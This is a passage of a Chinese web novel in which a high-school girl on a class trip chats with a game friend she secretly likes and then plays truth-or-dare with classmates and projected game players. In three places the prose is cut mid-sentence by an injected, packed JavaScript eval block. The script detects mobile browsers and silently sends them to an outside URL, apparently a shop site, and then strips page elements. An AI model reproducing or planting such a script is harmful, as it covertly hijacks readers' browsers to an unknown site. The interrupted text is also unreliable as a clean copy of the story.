韩思上车的时候就发现潘邢那几个不在,听带班老师说是因为他们学号排在末位,被调到隔壁车去了,晚上安排寝室的时候再汇合。 他们不在,空气里没有烟味没有臭汗味,立刻清新了不少,这辆车上大部分都是学号靠前的女孩子,倒挺安生。 高三生本来就睡眠不足,一开始还兴致勃勃地三三两两一个圈唠嗑,计划怎么利用三天脱离队伍玩得尽兴,临近中午的时候满车除了偶尔几句窸窸窣窣压低的交谈外,在路面颠簸里,大部分学生都熟睡的熟睡,玩手机的玩手机。 “下高速收费站了,快看,到S市了。” 也不知谁喊了一声,好多人被喊醒,韩思也是其中之一。 后座的几个女生貌似聊了一路,睡前在聊化妆品,醒来以后还在聊,不过换了话题,现在是在聊S市的帅哥。 有人的手从后排伸过来,拍了拍她的肩头。 “韩思,你以前就是S市的市重的吧,S市的男生帅不帅?是不是比我们七中的帅多了?” 自从潘邢那几个霸凌的态势收敛,班上大部分人也都没那么明显排挤人了。 而且还有不知道谁放出的流言,说韩思地住院单子是xx私人医院开的,再结合之前是S市市重转过来,说不定她也是个深藏不露的有钱人。 对韩思而言,最明显的是会有人来找她问题目,偶尔也找她聊聊天八卦,不过大多铩羽而归,因为她对这些都不感兴趣,几乎时间都扑在无穷无尽的做题上。 “所以S市帅哥多吗韩思?” 韩思仔细回想了下之前那个班级里的男生,低垂着眼帘说实话:“长得好像差不多,但素质好很多。”反正她对潘邢他们几个厌恶至极,而且也早就撕破脸了。 “到S市了吗?”边上的女生也转醒了。 韩思点点头:“嗯。” 坐在韩思边上的女生是陈岁安。 刚上车的时候看她身边迟迟没人坐,韩思看这儿有空位置就坐下了,刚坐下还有股强烈的空气清新剂味,接着陈岁安竟又递给她一个口罩,口罩上头还印着可爱的美乐蒂花纹,韩思微微有些惊讶,接过。 后头的几个女生赶忙说:“你最好戴上吧,她胖所以她身上有狐臭,等会儿香水都掩盖不住。” 难怪她那些个朋友都不愿意和她坐一块。 韩思倒也不介意,只不过边上的陈岁安听了有点羞赧:“不好意思,你要不戴上口罩会好点。” 韩思插上一边的耳机,回道:“没事。” 耳机里忽然传来嘀嗒的电子音,不知道是没电了还是连错了,又按了下,音乐播放恢复正常,伴随静谧的音乐,撑着头支在车窗窗台,渐渐睡着。 其实陈岁安身上的体味真的很小,尤其是她本人还喷了香水做了预防处理,要很细地闻才能闻到,韩思又睡了过去,所以一路都挺安稳。 陈岁安和她不熟,这一路上也没刻意找她搭话。 不过后排的几个女生自来熟得很,倒是来了八卦的兴趣,掉转枪头围着韩思为话题中心,叽叽喳喳。 “哎韩思,那你在市重的时候谈过恋爱没啊?” “听说市重对谈恋爱抓得很紧,要是被发现了会通报批评还请来家长?” “她铁没谈过,看上去就是一心埋头学习的人,对吧韩思?” 韩思回答的声音还是很淡:“没谈过。” 后排有人撇撇嘴,了如指掌般:“看吧我就说,人家是老师家长眼里的标准模范好学生。” “好学生好学生,什么时候轮到我做好学生,我一想到我的期终成绩,多半又要倒数去了,考不上本科我妈非削了我的头。” “谈个帅的聪明的陪你学习教你题目,这样有动力。” “有道理,但我们学校没有多的帅哥了,长得不错的几个不都被挑走了吗。” 韩思打开手机屏幕的手指微顿,那句找个帅哥教做题就有动力,莫名脑海里闪过零零零的脸。 接着竟听到熟悉的声音在耳畔响起,犹如惊雷平地炸开。 “我算帅哥吗?” “我*。” 手机差点脱手飞出。 后排聊天的动静也瞬间沉默,片刻后有人惊叹:“这是韩思的声音吗?” “韩思咋啦?” “原来好学生也会骂这么响亮的脏话。” 陈岁安也转过头,刚昏昏欲睡的模样一扫而空,震惊问道:“韩思你没事吧?” 耳机里也传来对面装傻充愣的关心:“你还好吧?” 韩思勉强微笑,咬牙切齿道:“没事。” 这语气是说给零零零听的。 零零零的声音就从耳机里传来,特别近的距离,少年清澈又慌里慌张的嗓音就好像在耳畔吹拂。 感觉韩思可能要找他算账了,他抓紧时间解释:“我以为你知道我在和你打电话的,刚刚来电的时候你不是接了吗?” 韩思回忆了下,刚才确实耳机里出现过短暂的电子音,她在手机上愤愤敲打:【鬼知道那是你来电的声音。】她还以为是耳机坏了。 刚想挂掉电话,就又听料事如神的零零零特笃定的声音:“你是不是想挂我电话。” 挂电话的手指微顿,少年的语气里带着点儿央求:“别挂了,你还有段时间才能到目的地呢。” 细细想想,那电子提示音好像很久前就出现了,在睡觉前就…… 她这一路上睡得挺死,没打呼噜吧。 要是真打呼噜了还挺丢脸的。 耳机里又传来念叨:“还有你还没说呢,你见过的那么些人里面,我应该能拿个优秀吧,实在不行及格总有的。” 他帅吗? 如果他现实里和游戏长得一样,那帅得有如鬼斧神工。 韩思挣扎了下,删删打打,最终还是没能在对话框里发出回答。 不知道零零零在抽什么风,可让她对着零零零亲口夸他是帅哥,心底的羞耻莫名在挠。 对面迟迟没得到回音,又不甘心似的想开口,韩思干脆火烧火燎地挂了电话。 本以为零零零被猝不及防挂掉电话会郁闷会儿,没成想几乎是电话挂掉的同一时刻,对话框里昵称是000的头像亮起,发了个流泪猫猫头的表情包。 好像是在她那边偷的,水印都没去除。 消息又亮起:既然挂都挂了,那你给我看看你窗外的风景呗。 真是好厚的脸皮。 韩思松了口气,任劳任怨地拍下窗外景色发送,又吐槽道:【没什么好看的,刚下高速,还没进城里呢。】 000:【快了快了,反正天黑前总归能到,S市这个点不堵。】 莫名觉得零零零今天有种没话题也要硬聊的死皮赖脸感,和分离焦虑症似的。 但他怎么可能真的有,她这个先喜欢上的人都没有。 韩思无奈苦笑。 作为有礼貌的老好人,她几乎有问必回,何况零零零总算不提帅不帅那事了,只是让她偶尔拍拍照,聊聊天。 抵达酒店差不多中午,带班老师给了所有人半小时的准备时间,把行李都收拾好就下来集合吃饭,接着就是按照计划下午去市博物馆。 两人一间酒店,陈岁安提出邀请,韩思自然也就答应下来。 刚放下行李箱,虽然零零零还没说,但一来二去的已经有点习惯,韩思率先掏出手机拍了张照片发送出去:【这家酒店还挺大,学校好像也没想象中那么抠门。】 000提醒:【用手机检查一下针孔摄像头。】 【知道啦。】 刚回完消息,就见正在行李箱里掏东西的陈岁安拿着瓶液体和手套站起身来。 她身材微胖,走过因两个行李箱堆积而狭窄的过道时,些许有点艰难,手中的瓶子差点儿掉下来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722273|142874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韩思顺手帮忙接过:“这是什么?” “谢谢。”陈岁安顺利通过后道,“我拿了瓶酒精,想消毒一下厕所,我妈说外头的酒店,尤其是厕所,都很脏。” 韩思转身走向厕所:“那一起吧,消毒完厕所再检查下针孔摄像头,” 见人主动提出来帮忙,陈岁安愣住了,动作迟疑了会儿才问道:“我这样不会打扰你和你男朋友聊天吗?” “哈?”韩思在厕所门口站定,回头讶然道,“我哪里来的男朋友。” “你一直聊天的不是男朋友吗?”似乎猜错了,陈岁安也有些尴尬,“我以为你一路上一直都拍照片聊天,还笑得很开心,他是你男朋友来着。” 她又解释道:“因为我那个朋友也是,每次和她出去玩她都抓着手机,哪哪儿都分享给她男朋友。” 有笑得很开心吗? 韩思狐疑地搜索回忆,想了下可能确实有,她微微有些尴尬,一脚跨进厕所,撸起袖子戴上手套,解释道,“和我聊天的那个人只是单纯朋友。” 陈岁安也跟着进来,有些好奇:“是以前S市市重的同学吗?S市的学生应该比我们好多了吧,至少那种霸凌欺负人的事情不会有。” “明目张胆的没有,但暗地里的也会有。”干活途中有点儿闲,便跟着有一搭没一搭地聊着,“那人是我游戏里碰见的一个好友,不是以前的同学。” “游戏,《仙缘》吗?” 韩思抬头。 陈岁安立即摆摆手:“我没别的意思,就是问问,我不会传出去什么的,就是单纯觉得有点无聊想和你聊聊天,然后最近《仙缘》不是挺火的吗,我就想到了这个。” 韩思低下头继续擦栏杆:“没事,我和他是《仙缘》里认识的。” “我们班上好多人说你市重转来的看不起我们七中,我觉得你人挺好的,应该就是性子偏淡。” 性子偏淡。 但每次碰上零零零总控制不住情绪,不得不说他还挺厉害。 韩思埋着头回答:“谢谢。” “看不起人”那条流言她确实一转入这个班级时就听到了,不过不太上心就是了。她没那么看重合群,七中对她来说只是高考后再也不见的地方,尤其是被潘邢那些恶心的伎俩欺辱过后,这儿在她眼里已经成了污泥沼。 一想到面前的女生被糟践真心又丝毫未觉地模样,韩思又好心提醒道:“你离有些人远些,又不是帮她们忙她们就不会欺负你了,还不如还手反抗。” 她说完顿了下,怎么感觉有人也耍着酷向她说过类似的话。 “我知道,但我比较害怕落单,也没办法对她们的脏话充耳不闻。” “那你那天还挺身而出帮从云舒。” “从云舒太惨了,他的爷爷脑梗住院,爸爸妈妈又长期不在家,我真怕他们下手没轻重,真的把人给打死了。” “应该不会吧,打死人会坐牢,一辈子就毁了。” “照那样说他打我下手那么狠也该抓进去,可不也照旧没人抓他吗?” 韩思微怔,是啊,现实不是童话,善恶未必皆有报。 她想到自己的膝盖摔伤当时那么疼,陈岁安被踹肚子的时候肯定也很疼,刚想安慰两句。 陈岁安却想起了什么似的,跑出去又跑回来,手里拿着包饼干,满脸期待地问道:“你要吃吗?这家饼干是我爸爸出差带回来的,我觉得很好吃。” 韩思一眼就认出那饼干曾经被人嫌弃地扔在地上,并且用恶毒的口吻说这是猪头肉和娘娘腔结婚的喜糖。 陈岁安身材微胖,语调和她软软的肉肉一样,温温柔柔的,饼干包装也很精美可爱,看着就很好吃。 她的父母很爱她,不仅是饼干,孩子被欺负了也第一时刻就冲到学校讨说法,所以她才能再次露出期待吧。 其实还挺羡慕的。 “那我就不客气了。”韩思语气柔和,“你放我包里吧,我现在手上戴着手套。” “好嘞。”陈岁安的脚步哒哒离开,接着外头又传来她的声音,“韩思,你朋友又给你发了好多条消息,你要不要先回一下。” “……不管他。” 27. 飞蛾(3) 学校安排的路线相当朴实无趣,也不去S市现代化的景点,晚上六点半回到酒店总算宣布解放,属于高三生的夜生活才刚刚开始。 魔高一尺,道高一丈,学校哪里不知道他们心里打着什么鬼主意,酒店大堂和走廊都有几个老师巡逻,外卖什么的都睁只眼闭只眼,但就防着这群心思活络的溜出酒店,男生女生串寝,要是出了啥事怕是饭碗都得丢。 不过老师也是人,要吃饭休息睡觉,总不会一直盯着,总有几个漏网之鱼。 班群里有人传来前线战报,说隔壁班几个男生跑出去了,走廊里巡逻的老师都在楼下抓人。虽没有明说,但明示现在是串寝的最好时间。 韩思也没想着这事儿也和她挂点勾,卡着这档口她刚从浴室里洗好澡出来,房间的门被拍响,陈岁安过去开门。 那女生双手抱着一箩筐的零食进来,脚灵活一踢关上了门,大大咧咧道;“嗨,我房里那谁,和她那朋友溜出去了,真是遭不住,谢谢你啦韩思,愿意收留我,不然就怕我一个人闷死。” 这女生韩思记得,在面对潘邢那几个欺负人时,选择不帮腔沉默旁观的也就没几个,她是其中之一。 这也是韩思在陈岁安询问时会同意她进来的原因,至少不是助纣为虐的。 不过她显然在班级里的地位很高。自身成绩好,长得漂亮,家里也有背景,所以就算是高高挂起的态度也没人敢排挤她。 陈岁安帮着把零食铺在桌子上,惊叹:“李轩玉你拿这么多零食啊,秋游来的吧,这儿还有两副牌?你可真牛。” 李轩玉摆摆手机:“嗨这不就是秋游吗?我还点了烧烤奶茶,等会儿走楼梯下去,你放哨我去拿。” 她低头一扫,正巧看见韩思手里还拿着数学卷子,瞬间像是看到了非人类般夸张惊叹:“嚯,韩思你还真模范生啊,出来秋游还真带了这么多试卷,未免也太好学了点。” 韩思拿试卷的手缩了缩。 还以为李轩玉也要和有的女生一样阴阳怪气下,结果她只是双手用力挤压,‘砰’一声打开了包薯片,谄媚地奉上,道:“做完了给我抄抄呗韩思,我请你吃薯片,任你挑任你选,我还点了超多的烧烤,绝不亏待你的胃。” “行。”韩思接过薯片,以前从没和李轩玉打过交道不太清楚,不过看样子还挺好相处的。 李轩玉大剌剌地坐上沙发,盘着大长腿,又‘砰’一声开了包薯片:“喔唷班群里说那几个逃跑的被逮回来了,现在在酒店大堂一字排开罚站,和迎宾小哥似的,等会儿下去拿外卖估计还能瞅着,真想拍几张照做纪念。” 陈岁安立刻划清界限,表示自己不参与:“要去你去,我不去。” “你当然不能去,不然又要被他们故意找事,但他们打了我就完球了,姐让他们都滚出学校。”李轩玉嘻嘻笑,刷拉手机屏,吃着薯片嘎吱嘎吱,“也不知道潘邢那几个有没有逃跑被抓,世家大少爷要也站在大堂,我怎么说也得拍下来。” 李轩玉的目光投过来,语气里略微有些压迫:“哦对了,你不能喜欢潘邢他们吧。” “当然很讨厌。”韩思回答完便换了张英语试卷。李轩玉叽叽喳喳的,没办法静下心,尤其是数学,越分心错得就越多,还不如不做。 李轩玉嗤笑:“你要是被欺负那么狠要是喜欢,那得考虑下是不是斯德哥尔摩了。” 电光火石中,有些念头在脑海里闪过,韩思故意问道:“可是班级里不都挺拥护他的吗?” “好笑,谁真喜欢他呀,不就是看他家大业大,都想着不得罪他,在他手里揩点钱花花,反正就那拽得不行的逼样,我忍他好久了。” “不过真有弱智真心拥护他,就因为他那张脸还算好看,我真受不了。”李轩玉又转过头来,后知后觉地疑心道,“你不会偷偷告诉潘邢去吧,不过你告诉了也没用,反正他又搞不了我……” 说起潘邢就想到腿上的伤,还有差点被猥亵,都抵不住的恶心上涌还说喜欢?韩思没好气地回道:“我又没病。” 看到大家站在同一条战线上,李轩玉一脸满意。 韩思刚开始看英语阅读理解,脸颊竟被戳了戳,猛地抬头见两根青葱细指捏着薄薄的薯片凑在脸颊边,李轩玉明媚艳丽的脸衬着大波浪,娇嗔道:“别做题了大学霸,打不打牌。不过话说你咋反应那么大,这么容易被吓到吗?” 李轩玉身上有种贵气,不愧是那群男生排的学校里是数一数二漂亮美女,和潘邢女朋友不分伯仲,各有各的好看。 “谢谢。”韩思从她手中接过薯片,悄无声息地挪动屁股留出一个合适的距离,扫了眼房内正在吹头发的陈岁安,“我们三个吗?打什么啊?” 李轩玉发觉了韩思的小动作,眼珠子微转,又抓了片薯片凑过去一点,果不其然韩思接过薯片的同时,又悄悄后移了点,客气地留出距离。 韩思还在纠结要打牌还是做题,就蓦然听见李轩玉大笑:“你怎么腼腆得还挺可爱。” 摸不着头脑地“哈?”了声,李轩玉装神秘没回答。 对峙间,陈岁安刚好放下吹风机,甩甩头发,问道:“要打牌?打uno还是斗地主?” “不玩斗地主,刚想打uno的,现在我改主意了。” 也不知李轩玉在打什么主意,只见她撤回沙发上,在斜挎包里翻翻,掏出了包崭新的牌,满面春风道,“文艺复兴下,来玩真心话大冒险怎么样?” 陈岁安:“就我们三个人玩真心话大冒险?没啥意思吧。” “那当然——不是啦,我带上我的朋友,你们不介意吧?” “我们房间再来人吗?你要邀请谁啊?”陈岁安看向韩思。 韩思也有些蹙眉,班里的有些人她不太喜欢,万一邀请她们的话,她又得拒绝,扫李轩玉的盎然兴致。 接着就见李轩玉从斜挎包里掏出了个极为眼熟的东西,她还自个儿做音效:“噔噔噔噔——” 陈岁安吐槽:“你哆啦A梦吧,这东西都带着?不重吗?” “也就带了投影,其他设备没拿,还行吧不重。”李轩玉郁闷:“谁让我这位亲爱的朋友不是咱们学校的,我本来和小何一起住还带着设备就是为了大家都谈情说爱,结果谁知道她朋友也住这块儿,直接溜出去了……受不了一点这种不含蓄的人。” 陈岁安又问:“你这次是哪个朋友啊?附中那个?” “不啊,就是《仙缘》里碰见的,当时为了那个新手任务加我的。”李轩玉解释完又赶忙叮嘱,“陈岁安你这话问得,搞得我好像很薄情一样,我和他们都没在一起呢,不过你要碰见他可千万不能当面这么说。” 韩思大脑自动提取关键词:新手任务? 还蛮有缘份,零零零当时也是因新手任务加的自己。 叮嘱完陈岁安,李轩玉又来征询韩思的意见,她娇娇弱弱地撒娇:“韩思你介意吗?不要介意嘛,你想吃啥我就给你点啥,我和我朋友不吵闹的,也绝不会在你面前做一些和脏你眼的事情。” 陈岁安一个人已经够吵闹了,和零零零似的,一张嘴就开始叭叭叭,一个人能唠一天。 但韩思是个很好妥协的人,尤其是大美女的撒娇更是束手无策,她收拾起试卷:“行啊。” 李轩玉高高兴兴地插好投影设备,等开机途中感叹道:“这玩意儿真不错,异地网恋都不成问题了。” 陈岁安提了一嘴:“哎,那你和韩思还挺有缘,韩思那个朋友也是在《仙缘》里认识的。” 李轩玉语气夸张,惊叹:“学霸也玩游戏啊?那要不要叫上你朋友?反正投一个也是投。” “不用。”韩思秒答。 在这个一男一女结伴走就会被当作情侣的年龄,零零零举止毫无分寸行为暧昧,叫上他更容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725574|142874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易被误会。 更何况,虽说是朋友关系,零零零也明确表示不喜欢她,但是!她对他的心思不清白啊。 要是被发现…… 她还不如死了算了。 投影机启动,李轩玉的那位朋友缓缓成型,身高马大,健硕的身材偏铜色皮肤让人不得不感叹现在年轻人的营养充沛,头顶上id是:放牛的牛蛙。 某种程度上,也名副其实。 不玩游戏的陈岁安吐槽:“感觉像是某种邪恶的召唤仪式,李轩玉你这次的朋友挺帅啊。” 李轩玉心情很好:“介绍一下,陶珏,家里开私人医院的,我们那儿的xxx医院就是他名下的。” 陈岁安瞪大眼睛,竖起大拇指拜服:“这么有钱的帅哥你也能认识,真牛啊你。” 李轩玉摆摆手,笑嘻嘻道:“他捏的脸,真人不长这样。” 陶珏一出现在房里,张口就拽拽道:“放屁,我真人也帅得很,这游戏不能展现我十分之一的帅气,这游戏连我的帅气腹肌都没能模拟出一半,宝贝儿你看。” 说着说着就拱起手臂,挤出肱三头肌。 李轩玉翻了个白眼:“无语了你。” 陶珏大步走到李轩玉的边上:“宝贝儿我可是为了你推掉了今晚的下本,别让我心寒啊宝贝,怎么?是打牌吗?咱们四个打什么?打不打麻将?” “你让我扛麻将机吗?” “线上不是可以打?” “我看你想下线回游戏打副本是真。” 没理会那边的打情骂俏,韩思正整理桌子腾出位置来,却忽然有种被人注视的感觉,她抬头看见陶珏手摸着下巴,目光直愣愣的。 “哎?这你朋友?我怎么瞅着害挺眼熟?” 韩思微微蹙眉,被人紧紧盯着还怪难受的,她道:“我不认识你啊。” “等会儿等会儿,你真长得有点像大嫂,虽说大嫂游戏里不长这样。”陶珏忽然回头切出投影范围,这边还没下线,“让我看看大哥出本了没,叫他过来看看,稀奇,太稀奇了。” 李轩玉见怪不怪:“长得像呗这有啥好稀奇的,我这朋友天天泡在学习里,咋可能和你这种天天泡游戏里的认识,天壤之别哈。” 陈岁安吃着薯片附和:“是啊,她都没谈过恋爱,眼里除了学习没别的,连薯片放在面前都不怎么吃。大嫂,你们男生的称呼还挺幽默。” “我路人脸。”韩思也觉得大概是巧合罢了,她一只手拿牌一只手薯片,皱着眉头比较关心另一件事,“投影没有实体啊,打牌的话牌谁来拿?” 陈岁安抱着抱枕举手:“他的牌我来抽,我的惩罚他来扛。” “放屁啊你。”陶珏抗议。 “就长得太像,这不得见见?大哥这种天天浪在游戏里称霸好几个榜单第一的混混,包不认识学霸的。”陶珏看眼韩思,这姑娘模样乖巧,也觉得没可能是本人,但还在夺命连环call那人过来,“可总算出本了他们。” “叫谁混混呢?” 人未到声先至,清爽嗓音莫名耳熟。 一只骨节分明的手拍上陶珏的肩膀,那人没露面,目光都没歪向镜头一眼,语气中的不悦显而易见。 “就这么好奇我的事儿?再好奇滚出队伍。” 接着就看到陶珏投影的身后闪过一道身形颀长的影子,刚走出投影范围又闪现回来,少年顶着精致的面庞挡在镜头前,眉目里瞬间充斥笑吟吟,若有所思道。 “你不是说学习很忙来不及回消息吗?” 韩思后颈微凉,下意识把手里拿的扑克牌往身后一藏。 “美貌霸凌啊。”李轩玉没想到这八竿子打不着关系的两人真认识,看热闹不嫌事大,旋即鼓掌邀请,“帅哥来不来一起打牌?五个人能玩的游戏更多了。” “他忙。” “你不忙了我怎么会忙,来呗。” 28. 飞蛾(4) 李轩玉作为发起人率先抽,她选了真心话,抽完念牌:“最喜欢在座的哪位异性。” “那当然是——” 答案还没说,陶珏就先挠这后脑勺嘿嘿傻笑了。 “行咯,不用多说咯。”李轩玉耸耸肩放下牌,“没意思,下一张牌陶珏你来,我替你抽。” “我要选大冒险。” “你这个状态大冒险什么?装鬼出去吓人吗?”李轩玉驳回,“真心话:身上哪个部位最满意?” 陶珏听完的下一秒就撩起衣服,拍拍肚子,可算找机会炫耀了他眉飞色舞:“腹肌啊那必须的,我天天卷腹虐腹就是为了这一刻!我用的是扫描录入,可不是捏的啊,现实里的比这还牛逼。” 陈岁安红着脸偷偷问:“你摸过吗?” 李轩玉有点子遗憾:“只摸过游戏里的,陶珏你什么时候来我们城市,我还没摸到实体的。” 韩思心里偷摸想,这腹肌和巧克力排似的。 想完自己都没忍住笑了下。 陶珏陶醉于被人欣赏的目光里,“打包票的,我附近你们附近,包没可能有比我腹肌还大的。” 零零零乜了眼他,在场的活人里他只认识韩思,自然坐在韩思的边上,只见少年百无聊赖地吐出四个字:“绣花枕头。” 此话一出是相当煞风景,陶珏悻悻地放下撩衣服的手,瓮声道:“那也比你腹肌大。” 韩思感同身受,零零零的嘴是真无差别毒人,还没挨过揍真是奇迹,她还以为零零零要被陶珏打了。 陶珏貌似脾气不错,被拂面子也只是大声嚷嚷:“行了我结束了,下一个谁?” 陈岁安:“韩思吧,我在吃薯片,手脏。” 韩思扫视桌上的牌,心念早死晚死都得死,反正只要抽大冒险就不会碰上和感情有关的牌。 然而墨菲定律的意思是,哪怕只有百分之一千分之一的可能,但当你担心害怕它发生时,不轮概率多小,它总会发生。 曾经的韩思嗤之以鼻,现在的韩思在摸了张牌看清上头的字后,瞬间拍在地上,胆颤心惊。 “说呀,你抽到了哪张。”看好戏的李轩玉见状就知道有大料,眼神瞬间亮了,挪动过来上手抢。 韩思躲开,讪笑道:“能不能换一张。”她现在连夜破窗逃出这间房的心思都有了,非常后悔当时随口就答应了玩真心话大冒险。 为什么大冒险里也会有这么尴尬的事情啊。 可怜韩思力气小体育不好,躲了几个回合手上的牌仍旧被抢走,挣扎中抬起头,看见正低头紧盯的零零零,像是只猫看到鱼在扑腾,漂亮少年眼里的好奇似乎越来越浓郁。 他也是个兴致盎然的主儿,要不是虚影投射,绝对也会是上手抢的人之一。 陶珏催促:“快点快点别扭捏,你看我刚回答问题多利索。” “换不了牌你就认命吧韩思,你自己选的大冒险。”李轩玉拿过牌举过头顶,仰头大声念,“找现场的一个男性——对他深情并茂地喊:老公/老婆我喜欢你。” 喊谁,不能喊零零零吧。 韩思面如死灰。 陈岁安扑哧一声笑了。 “就这。”陶珏不屑一顾,“快点喊呗,我们两个男的还不够你挑吗,不过你肯定喊老大,快去。” 韩思都没敢仔细瞧零零零的神色,草率瞄了眼似乎少年是神情自若的,果然先喜欢上的是输家,只有问心有愧的人才会在这个问题上说不出口。 “等会儿,我和他真不是你想的那种关系。”她飞快挣扎辩解,手捂上脸,“我酝酿下有点开不了口。” 可是一鼓作气倒还好,越酝酿越显得故意做作,越无法开口。 陈岁安倒是在好心替韩思解释:“大学霸脸皮薄,没谈过恋爱是这样的,这可是她第一次‘表白’呢。” 可惜这解释说者无心听者有意,在次情况下无异于拱火。 “行行行我懂,你和老大太熟喊不出口,那你别喊他,你喊我。” 陶珏一心只想推游戏进度,因为被李轩玉勒令必须玩过五轮游戏才可以下线,此时一副大义凛然英勇就范的模样,“反正我的宝贝儿知道我的心里只有她,没有别人。” 语毕还给李轩玉抛了个媚眼。 李轩玉也玩得很开,笑得直后仰:“那韩思我朋友就让给你了,你快去表白吧。” 零零零抱胸站在边上,低垂着眼帘,细密的睫毛压出一片阴影,精致的侧脸又帅又慵懒。 还没来得及收回偷瞄的视线,少年就掀起眼皮,轻笑:“看我做什么,你不是对我开不了口吗,那就和他说去。” 不得不说,这个提议韩思心动了,反正零零零完全不在意,有台阶下这不得麻溜下。 她好像又活过来了:“好啊,那我……” “打住!” 不知突然发生了啥,陶珏态度一百八十度大转弯,迅速出声打断,“不行不行,我想了想,你还是别和我说了,男女授受不亲,更何况我还在追李轩玉呢。” 李轩玉虽然意外,但很受用:“没想到挺有男德啊你,那我原谅你今天只陪我五轮游戏了,本来打算黑名单见了。” 陶珏装傻充愣:“嘿嘿嘿,别真拉我黑名单啊宝贝。” 他当然不会解释说不是突然开窍,而是他刚说完突然感觉有种阴风阵阵,正琢磨着游戏里是不是降温了,就看见坐斜对面的少年笑不及眼底,是即将刀人的前奏。 他可是见过老大面上言笑晏晏,反手就向其他竞争队伍里投一篮筐炸弹,炸得人仰马翻肢离破碎,顺利拿下首刷。 什么笑吟吟,分明是狞笑的笑面虎。 自己是头脑简单了点,但好歹家里祖辈是开公司的,没蠢到家。 “好像没有其他选择了,要不放弃吧。”零零零眯起眼眸,看着又一次陷入犹豫的韩思,桃花眼里蕴含笑意,“你下次可别选大冒险了。” 少女闻言抬头,两人视线碰撞,零零零好整以暇自然不避,却不想韩思也没移开,眼里凝聚着认真。 “老婆我喜欢你。” 语速超快囫囵吞枣般的一句话说完,韩思移开视线,在桌子上掏薯片吃,佯装不在意地哼哼道:“我可玩得起。” 她心道怎么可以被看扁了呢? 就是初次表白就失败告终的她也太可怜了。 空气安静,唯有薯片酥酥脆脆的声音,几秒钟后—— “哇塞还真喊了。”李轩玉竖大拇指, 陶珏鼓掌:“不错不错,是时候可以开启下一轮了!下一个是谁抽?是谁?” “我我我。”陈岁安放下薯片,挪动到牌桌边上,在点点点,“大冒险还是真心话呢,” 陶珏赶进度想回游戏下副本,催促陈岁安:“你闭上眼随便抽一张。” 韩思提起来的心刚回落,忽然听李轩玉凑过来耳语: “你是不是喜欢他啊?” 轻轻的音量说出来的话却让韩思心惊肉跳,下意识就向边上看,幸好周遭吵吵闹闹,零零零侧着脸似乎没关注到这边。 韩思嘴里嚼着薯片,含混不清:“你瞎猜什么。” “喜欢就要张嘴说啊。” 李轩玉的这句话像是个预告,韩思隐约觉察到危险。 “你们两个等会再抽,陶珏你这么着急干什么?”李轩玉突然开口。 作为情场老手自然看出韩思这欲说还休的态度多半是心里有鬼,这一试探更是八九不离十了。 她清清嗓子,嗓音婉转继续拱火:“你们就不好奇吗,大学霸的第一次表白,究竟收获了成功还是失败?她还没得到回复呢。” “喂喂喂李轩玉!”韩思哪里知道李轩玉如此不依不饶,她薯片都不嚼了,瞪大双眼,“大冒险游戏而已啊,还要让我听个拒绝吗。” 李轩玉嬉笑:“他还没回答你就知道是拒绝了吗?万一不是呢,说不定今夜在我手下能成一对情人。” 可没有万一。 韩思装出不在意的笑容:“你就瞎想吧,我和他就是普通朋友。” 咬字里刻意加重了普通二字。 她早就在旁敲侧击里被拒绝过了,只不过她胆怯又不甘。 借朋友身份为遮羞布, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737971|142874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还能在日常相处中偷偷找寻也许喜欢的蛛丝马迹,像只仓鼠,自欺欺人地偷点糖吃吃,有时候囤着还能用来抵御刺骨的寒冷。 可李轩玉好似没听懂,竟又直接问向零零零:“这位帅哥,被表白了你就没什么想说的吗?” 这片遮羞布忽然被生硬残忍地扯下。 韩思心如明镜,李轩玉就是纯想八卦,事越大越来劲。 至于韩思的小心思,她并不知道,但就算知道了也不会在乎,对她那样优秀又有钱的大美女来说,感情永远来得容易,只要点头答应就能成功,遑论主动出击,就从未失手过。 被逼问的零零零眉尾挑起,恍然大悟般‘啊’了下:“是有句想说的话。” 韩思的心瞬间随之提到嗓子眼。 零零零盘腿坐着,手撑脑袋,一脸困惑,“为什么是老婆啊?” 不是预料中的回答,稍许有些卡壳的韩思下意识顺着他问:“什么老婆?” 零零零的瞳孔是琥珀的颜色,眉骨高而眼窝深,又是漂亮的桃花眼,弯起眼角的时候像极饱含一池潋滟水光的春意,用着陈述语气,就好像真的在告白:“老婆我好喜欢你。” 他嗓音偏清朗,又因笑意而刻意压低,尾调上扬显得勾人:“为什么要叫我老婆?” 韩思没能及时措辞回答,气氛刹那寂静。 紧随着陈岁安第一个起哄:“哦——你俩没关系我打死也不信。” 陶珏跟着:“我都说了是大嫂。” 还好他聪明没被绕进去,倘若真让韩思朝自己表白了,绝对会被弄死且死相很难看。 虽然有八块腹肌傍身但也打不过老大,线下单挑还有点可能。 